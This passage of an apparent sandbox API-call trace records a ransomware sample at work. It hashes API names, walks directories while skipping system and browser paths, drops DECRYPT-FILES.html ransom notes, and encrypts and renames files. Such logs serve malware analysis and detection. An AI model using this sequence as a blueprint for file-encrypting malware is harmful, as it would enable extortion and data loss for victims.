lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0139.536] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0139.536] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0139.536] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0139.536] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0139.536] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0139.536] lstrlenA (lpString="CREATETHREAD") returned 12 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0139.536] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0139.536] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0139.536] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0139.536] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0139.536] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0139.536] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0139.536] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0139.537] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.acsOvI") returned 52 [0139.537] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.acsOvI" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.acsovi"), dwFlags=0x0) returned 1 [0139.537] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.538] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.538] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.538] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0139.538] FindClose (in: hFindFile=0x3b80f00 | out: hFindFile=0x3b80f00) returned 1 [0139.538] CloseHandle (hObject=0x528) returned 1 [0139.538] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0139.538] lstrcmpW (lpString1="2070", lpString2=".") returned 1 [0139.539] lstrcmpW (lpString1="2070", lpString2="..") returned 1 [0139.539] lstrcatW (in: lpString1="2070", lpString2="\\" | out: lpString1="2070\\") returned="2070\\" [0139.539] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="2070\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch=":\\Windows") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\Program Files") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\Games\\") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\Tor Browser\\") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\ProgramData\\") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0139.539] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2070\\", lpSrch="\\All Users") returned 0x0 [0139.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\") returned 27 [0139.539] lstrlenW (lpString="eogwkz.dat") returned 10 [0139.539] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\\\eogwkz.dat") returned 38 [0139.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\2070\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0139.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\") returned 27 [0139.539] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0139.539] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\\\DECRYPT-FILES.html") returned 46 [0139.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\2070\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0139.545] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0139.545] CloseHandle (hObject=0x470) returned 1 [0139.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\") returned 27 [0139.546] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\2070\\*") returned="C:\\588bce7c90097ed212\\2070\\*" [0139.546] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x596c6e4f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81380 [0139.546] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0139.546] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x596c6e4f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0139.546] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0139.546] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0139.546] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596c6e4f, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x596c6e4f, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x596c6e4f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0139.546] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0139.546] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596c6e4f, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x596c6e4f, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x596c6e4f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0139.546] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0139.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\") returned 27 [0139.546] lstrlenW (lpString="eogwkz.dat") returned 10 [0139.546] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2070\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0139.546] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\2070\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\2070\\eogwkz.dat" [0139.546] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.547] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\2070\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.547] CloseHandle (hObject=0x0) returned 0 [0139.547] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.547] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0139.547] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0139.548] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0139.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\") returned 27 [0139.548] lstrlenW (lpString="eula.rtf") returned 8 [0139.548] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2070\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0139.548] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf" [0139.548] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.548] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0139.549] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=4015) returned 1 [0139.549] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0139.549] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0139.583] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0139.583] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0139.583] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.583] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0139.584] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0139.584] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.584] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0139.584] CloseHandle (hObject=0x5f8) returned 1 [0139.584] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.584] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0139.585] CloseHandle (hObject=0x0) returned 0 [0139.585] CloseHandle (hObject=0x5f4) returned 1 [0139.586] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.587] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.587] GetTickCount () returned 0x3836a [0139.587] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.587] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0139.587] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0139.588] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.588] lstrlenA (lpString="kernel32.dll") returned 12 [0139.588] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0139.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0139.588] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0139.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0139.588] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0139.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0139.589] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0139.589] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0139.589] lstrlenA (lpString="ADDATOMA") returned 8 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0139.589] lstrlenA (lpString="ADDATOMW") returned 8 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0139.589] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0139.589] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0139.589] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0139.589] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0139.589] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0139.589] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0139.589] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0139.589] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0139.589] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0139.589] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0139.589] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0139.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0139.589] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0139.590] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0139.590] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0139.590] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0139.590] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0139.590] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0139.590] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0139.590] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0139.590] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0139.590] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0139.590] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0139.590] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0139.590] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0139.590] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0139.590] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0139.590] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0139.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0139.591] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0139.591] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0139.591] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0139.591] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0139.591] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0139.591] lstrlenA (lpString="BACKUPREAD") returned 10 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, 